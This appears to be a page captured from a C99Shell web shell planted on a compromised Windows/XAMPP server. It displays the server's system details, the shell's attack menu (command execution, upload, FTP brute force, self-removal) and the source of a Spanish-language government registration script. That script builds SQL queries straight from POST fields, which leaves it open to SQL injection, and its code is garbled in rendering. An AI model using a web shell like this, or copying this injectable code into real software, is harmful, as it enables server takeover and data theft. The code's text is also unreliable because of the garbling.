!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\login\   drwxrwxrwx
Free 8.8 GB of 239.26 GB (3.68%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     recibe3.php (3.83 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require_once('conn/conexion.php'); 
$sql ="SELECT * FROM reg_organizaciones WHERE identi= '$_POST[identi]'";
$result = @mysql_query($sql,$link) or die(mysql_error());

//get the number of rows in the result set
$num mysql_num_rows($result);

//checks it see if that username already exists
if ($num != 0){

echo 
"<P>Lo sentimos ya se encuentra registrado en el sistema</P>";
echo 
"<P><a href=\"#\" onClick=\"history.go(-1)\">Regresar</a></p>";
exit;

}else{



$verif_box $_POST['verif_box'];
if(
md5($verif_box).'a4xn' == $_COOKIE['tntcon']){

//putenv('TZ=America/Bogota');
//generales
$fecha $_POST['fecha'];
$acronimo $_POST['acronimo'];
$ip $_SERVER['REMOTE_ADDR'];
$identi $_POST['identi'];
$nombre $_POST['nombre'];
$direccion $_POST['direccion'];
$localidad $_POST['localidad'];
$territorio $_POST['territorio'];
$telefono $_POST['telefono'];
$fax $_POST['fax'];
$email =  $_POST['email'];
$web $_POST['sitioweb'];
$aniocreacion $_POST['aniocreacion'];
//persona
$nombre1 $_POST['nombre1'];
$apellido =  $_POST['apellido'];
$funcion =  $_POST['funcion'];
$email2 =  $_POST['email2'];
$cargo =  $_POST['cargo'];
$comm $_POST['comentarios'];
//organizacion
$organizacion $_POST['organizacion'];
$territorios $_POST['territorios'];
$localidad1 $_POST['localidad1'];
$checkboxes $_POST['temas'];
$temas implode($checkboxes,",");
$checkboxes2 $_POST['actividades'];
$actividades implode($checkboxes2,",");
$checkboxes3 $_POST['financiamientos'];
$financiamientos implode($checkboxes3,",");
$checkboxes4 $_POST['material'];
$material implode($checkboxes4,",");
$mision $_POST['mision'];
$vision $_POST['vision'];
$id_gestor $_POST['id_gestor'];
$estado $_POST['estado'];
$group1 $_POST['group1'];


  if (isset(
$HTTP_POST_VARS['id_gestor'])){
        
$id_gestor $_POST['id_gestor'];
    }else{
        
$id_gestor "0";
    }
  if (isset(
$HTTP_POST_VARS['estado'])){
        
$estado $_POST['estado'];
    }else{
        
$estado "0";
    }


$sql =" INSERT INTO reg_organizaciones (
`id` ,`identi` ,`fecha` ,`acronimo` ,`ip` ,`nombre` ,`direccion` ,`localidad` ,`territorio` ,`telefono` ,`fax` ,`email` ,`web` ,`aniocreacion` ,`nombre1` ,`apellido` ,
`funcion` ,`email2` ,`cargo` ,`comm` ,`organizacion` ,`territorios` ,`localidad1` ,`temas` ,`actividades` ,`financiamientos` ,`material` ,`mision` ,`vision` ,`estado` ,
`id_gestor`)
VALUES (
'', '
$identi', '$fecha', '$acronimo' , '$ip' , '$nombre' , '$direccion' , '$localidad' , '$territorio' ,
 '
$telefono', '$fax', '$email', '$web', '$aniocreacion' , '$nombre1', '$apellido',
'
$funcion', '$email2', '$cargo' , '$comm', '$organizacion', '$territorios', '$localidad', 
'
$temas', '$actividades' , '$financiamientos' , '$material' , '$mision' , '$vision' , '$estado', '$id_gestor')";
$resultado=mysql_query($sql);

$sql2 ="INSERT INTO authorize (
`firstname` ,
`lastname` ,
`username` ,
`password` ,
`group1` ,
`group2` ,
`group3` ,
`pchange` ,
`email` ,
`redirect` ,
`verified` ,
`last_login`
)
VALUES ('
$nombre' , '$apellido' , '$acronimo' , password('$identi') , '$group1' , NULL , NULL , '0', '$email' , 'http://localhost/sda/login/registro_experiencias.php', 0 , NULL
)"
;

$resultado2=mysql_query($sql2);



echo 
"Registro efectuado";

mail("webmaster@secretariadeambiente.gov.co","Nuevo registro participacion SDA","Se ha efectuado un nuevo registro de organizacion . Por favor verifique la informacion en http://www.secretariadeambiente.gov.co/sda/libreria/php/activareg.php?identi=$identi y active la inscripcion","from:registro<webmaster@scrd.gov.co>");  
  echo 
"http://www.secretariadeambiente.gov.co/sda/libreria/php/activareg.php?identi=$identi";
mysql_close($link);

}
else {
echo (
"El c&oacute;digo no es valido o su sesi&oacute;n ha excedido el tiempo.");
}

}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--